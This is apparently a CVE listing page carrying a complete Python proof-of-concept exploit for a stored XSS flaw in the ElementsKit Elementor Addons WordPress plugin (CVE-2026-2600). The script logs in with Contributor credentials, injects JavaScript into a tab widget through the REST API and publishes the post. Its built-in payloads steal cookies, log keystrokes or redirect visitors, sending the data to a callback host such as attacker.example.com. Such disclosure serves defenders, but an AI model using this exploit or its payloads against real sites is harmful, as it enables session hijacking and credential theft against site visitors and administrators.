5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-2600 - Stored XSS in ElementsKit Elementor Addons <= 3.7.9
Author : Alaaeddine Knani (@iwd) - Offensive Security Engineer @ ODDO BHF
Details: Contributor+ can inject arbitrary JavaScript via the WordPress REST API
         into the Simple Tab widget's ekit_tab_title field, bypassing Elementor's
         client-side sanitization. The payload persists in the database and fires
         in every visitor's browser.

Usage:
    python poc.py <target> <username> <password> [--callback <url>] [--payload <html>]
    python poc.py https://victim.com contributor p4ssw0rd --callback https://attacker.com/steal
"""

import argparse
import json
import re
import sys
import uuid

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Force UTF-8 output on Windows
if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8':
    try:
        sys.stdout.reconfigure(encoding='utf-8')
    except AttributeError:
        pass

# ─── ANSI colours ──────────────────────────────────────────────────────────────

R  = "\033[91m"
G  = "\033[92m"
Y  = "\033[93m"
B  = "\033[94m"
M  = "\033[95m"
C  = "\033[96m"
W  = "\033[97m"
DIM= "\033[2m"
RST= "\033[0m"
BOLD="\033[1m"

def banner():
    print(f"""
{R}  +----------------------------------------------------------+{RST}
{R}  |   CVE-2026-2600  |  ElementsKit Stored XSS PoC          |{RST}
{R}  +----------------------------------------------------------+{RST}
{Y}  |  Plugin : ElementsKit Elementor Addons <= 3.7.9         |{RST}
{Y}  |  Widget : Simple Tab  (ekit-tab)                        |{RST}
{G}  |  CVSS   : 6.4 MEDIUM  |  Role: Contributor+             |{RST}
{DIM}  |  Author : Alaaeddine Knani (@iwd) - ODDO BHF            |{RST}
{R}  +----------------------------------------------------------+{RST}
""")

def log(msg):  print(f"  {B}[*]{RST} {msg}")
def ok(msg):   print(f"  {G}[+]{RST} {W}{msg}{RST}")
def warn(msg): print(f"  {Y}[!]{RST} {msg}")
def err(msg):  print(f"  {R}[-]{RST} {msg}"); sys.exit(1)
def info(msg): print(f"  {DIM}    {msg}{RST}")


# ─── Elementor data builder ────────────────────────────────────────────────────

def build_elementor_data(xss_payload: str) -> list:
    """
    Construct a minimal Elementor widget tree containing one ekit-tab widget
    with the XSS payload embedded in the tab title (ekit_tab_title).

    Structure:
        section > column > widget(ekit-tab)
            settings.ekit_tab_items[0].ekit_tab_title = <payload>
    """
    def uid() -> str:
        return uuid.uuid4().hex[:6]

    return [
        {
            "id": uid(),
            "elType": "section",
            "isInner": False,
            "settings": {},
            "elements": [
                {
                    "id": uid(),
                    "elType": "column",
                    "settings": {"_column_size": 100},
                    "elements": [
                        {
                            "id": uid(),
                            "elType": "widget",
                            "widgetType": "elementskit-simple-tab",
                            "settings": {
                                "ekit_tab_items": [
                                    {
                                        "_id": uid(),
                                        "ekit_tab_title": xss_payload,   # ← injected here
                                        "ekit_tab_content": "<p>Content</p>",
                                        "tab_id": "tab-1",
                                    },
                                    {
                                        "_id": uid(),
                                        "ekit_tab_title": "Tab 2",
                                        "ekit_tab_content": "<p>More content</p>",
                                        "tab_id": "tab-2",
                                    },
                                ],
                                "ekit_tab_active_index": 0,
                            },
                        }
                    ],
                }
            ],
        }
    ]


# ─── Core exploit ──────────────────────────────────────────────────────────────

class CVE_2026_2600:

    def __init__(self, target: str, username: str, password: str, verify_ssl: bool = True):
        self.target   = target.rstrip("/")
        self.username = username
        self.password = password
        self.session  = requests.Session()
        self.session.verify = verify_ssl
        self.session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)"})
        self.nonce    = None
        self.post_id  = None

    # ── Step 1: authenticate ──────────────────────────────────────────────────

    def authenticate(self) -> bool:
        log(f"Authenticating as {W}{self.username}{RST} ...")
        try:
            self.session.post(
                f"{self.target}/wp-login.php",
                data={
                    "log":        self.username,
                    "pwd":        self.password,
                    "wp-submit":  "Log In",
                    "redirect_to": "/wp-admin/",
                    "testcookie": "1",
                },
                cookies={"wordpress_test_cookie": "WP+Cookie+check"},
                allow_redirects=True,
                timeout=20,
            )
        except requests.RequestException as exc:
            err(f"Login request failed: {exc}")

        if not any("wordpress_logged_in" in c.name for c in self.session.cookies):
            err("Authentication failed - check credentials")

        ok("Authenticated successfully")
        return True

    # ── Step 2: fetch REST nonce ──────────────────────────────────────────────

    def get_rest_nonce(self) -> str:
        log("Fetching REST API nonce ...")
        try:
            html = self.session.get(
                f"{self.target}/wp-admin/post-new.php", timeout=20
            ).text
        except requests.RequestException as exc:
            err(f"Could not load post editor: {exc}")

        # Elementor and WP both embed the nonce in the page JS
        for pattern in [
            r'"nonce"\s*:\s*"([a-f0-9]{10})"',
            r'wpApiSettings.*?"nonce"\s*:\s*"([^"]+)"',
            r'"rest_nonce"\s*:\s*"([^"]+)"',
        ]:
            m = re.search(pattern, html)
            if m:
                self.nonce = m.group(1)
                ok(f"REST nonce: {C}{self.nonce}{RST}")
                return self.nonce

        err("Could not extract REST nonce from page. Is the user authenticated?")

    # ── Step 3: create a draft post ───────────────────────────────────────────

    def create_post(self, title: str = "Security Research Draft") -> int:
        log("Creating a draft post via REST API ...")
        try:
            r = self.session.post(
                f"{self.target}/wp-json/wp/v2/posts",
                headers={"X-WP-Nonce": self.nonce, "Content-Type": "application/json"},
                json={"title": title, "status": "draft", "content": ""},
                timeout=20,
            )
            r.raise_for_status()
        except requests.RequestException as exc:
            err(f"Failed to create post: {exc}")

        self.post_id = r.json().get("id")
        if not self.post_id:
            err("REST API did not return a post ID")

        ok(f"Draft post created → ID {Y}{self.post_id}{RST}")
        return self.post_id

    # ── Step 4: inject the payload ────────────────────────────────────────────

    def inject(self, xss_payload: str) -> bool:
        log(f"Injecting payload into _elementor_data ...")
        info(f"Payload: {R}{xss_payload[:80]}{'...' if len(xss_payload) > 80 else ''}{RST}")

        elementor_data = build_elementor_data(xss_payload)

        try:
            r = self.session.patch(
                f"{self.target}/wp-json/wp/v2/posts/{self.post_id}",
                headers={"X-WP-Nonce": self.nonce, "Content-Type": "application/json"},
                json={
                    "meta": {
                        "_elementor_data":      json.dumps(elementor_data),
                        "_elementor_edit_mode": "builder",
                    }
                },
                timeout=20,
            )
            r.raise_for_status()
        except requests.RequestException as exc:
            err(f"PATCH request failed: {exc}")

        # Verify payload was stored
        stored_meta = r.json().get("meta", {})
        stored_data_raw = stored_meta.get("_elementor_data", "")

        if xss_payload in stored_data_raw or xss_payload.replace('"', '\\"') in stored_data_raw:
            ok(f"{G}{BOLD}Payload confirmed in database!{RST}")
        else:
            warn("Payload not confirmed in response - may still be stored (meta visibility)")

        return True

    # ── Step 5: publish post ──────────────────────────────────────────────────

    def publish(self) -> str:
        log("Publishing the post ...")
        try:
            r = self.session.post(
                f"{self.target}/wp-json/wp/v2/posts/{self.post_id}",
                headers={"X-WP-Nonce": self.nonce, "Content-Type": "application/json"},
                json={"status": "publish"},
                timeout=20,
            )
            r.raise_for_status()
        except requests.RequestException as exc:
            err(f"Failed to publish post: {exc}")

        link = r.json().get("link", f"{self.target}/?p={self.post_id}")
        ok(f"Post published → {C}{link}{RST}")
        return link

    # ── Verify: confirm the raw payload renders in the page source ────────────

    def verify(self, url: str, marker: str) -> bool:
        log("Verifying payload renders in page source ...")
        try:
            html = requests.get(url, verify=self.session.verify, timeout=20).text
        except requests.RequestException:
            warn("Could not fetch published page for verification")
            return False

        if marker in html:
            ok(f"{G}{BOLD}CONFIRMED: XSS payload is live in page source!{RST}")
            return True
        else:
            warn("Marker not found in page - page may require admin approval first")
            return False


# ─── Default payloads ──────────────────────────────────────────────────────────

DEFAULT_PAYLOADS = {
    "cookie":    lambda cb: f'<img src=x onerror="fetch(\'{cb}?c=\'+btoa(document.cookie))">',
    "alert":     lambda cb: '<img src=x onerror="alert(\'XSS: CVE-2026-2600\')">',
    "keylogger": lambda cb: f'<script>document.addEventListener("keypress",e=>new Image().src="{cb}/k?c="+e.key)</script>',
    "redirect":  lambda cb: f'<script>document.location="{cb}"</script>',
}


# ─── Entry point ───────────────────────────────────────────────────────────────

def main():
    banner()

    parser = argparse.ArgumentParser(
        description="CVE-2026-2600 PoC - ElementsKit Stored XSS via REST API",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
examples:
  python poc.py https://victim.com contributor p4ss --callback https://attacker.com
  python poc.py https://victim.com editor s3cr3t --type alert
  python poc.py https://victim.com contributor p4ss --payload '<script>alert(1)</script>'
  python poc.py https://victim.com contributor p4ss --no-publish
        """,
    )
    parser.add_argument("target",   help="WordPress site URL  (e.g. https://victim.com)")
    parser.add_argument("username", help="WordPress username  (Contributor role minimum)")
    parser.add_argument("password", help="WordPress password")
    parser.add_argument("--callback", default="https://attacker.example.com",
                        help="Callback URL to receive exfiltrated cookies (default: placeholder)")
    parser.add_argument("--type",    choices=list(DEFAULT_PAYLOADS.keys()), default="cookie",
                        help="Built-in payload type (default: cookie)")
    parser.add_argument("--payload", default=None,
                        help="Custom raw HTML/JS payload (overrides --type)")
    parser.add_argument("--no-publish", action="store_true",
                        help="Leave post as draft - do not publish")
    parser.add_argument("--no-verify-ssl", action="store_true",
                        help="Disable SSL certificate verification")
    parser.add_argument("--title", default="Security Research",
                        help="Post title (default: 'Security Research')")

    args = parser.parse_args()

    xss_payload = args.payload if args.payload else DEFAULT_PAYLOADS[args.type](args.callback)

    print(f"  {DIM}Target  : {W}{args.target}{RST}")
    print(f"  {DIM}User    : {W}{args.username}{RST}")
    print(f"  {DIM}Payload : {R}{xss_payload[:80]}{'...' if len(xss_payload)>80 else ''}{RST}")
    print()

    exploit = CVE_2026_2600(
        target=args.target,
        username=args.username,
        password=args.password,
        verify_ssl=not args.no_verify_ssl,
    )

    exploit.authenticate()
    exploit.get_rest_nonce()
    exploit.create_post(title=args.title)
    exploit.inject(xss_payload)

    if not args.no_publish:
        page_url = exploit.publish()
        # Use the onerror src or a short unique marker for verification
        marker = "onerror" if "onerror" in xss_payload else "script"
        exploit.verify(page_url, marker)
    else:
        warn(f"Post left as draft → {args.target}/wp-admin/post.php?post={exploit.post_id}&action=edit")

    print()
    print(f"  {'─'*60}")
    print(f"  {G}{BOLD}Done.{RST}")
    if not args.no_publish:
        print(f"  {DIM}Infected URL: {C}{args.target}/?p={exploit.post_id}{RST}")
        print(f"  {DIM}The payload fires for every visitor - including admins.{RST}")
    print(f"  {'─'*60}")
    print()


if __name__ == "__main__":
    main()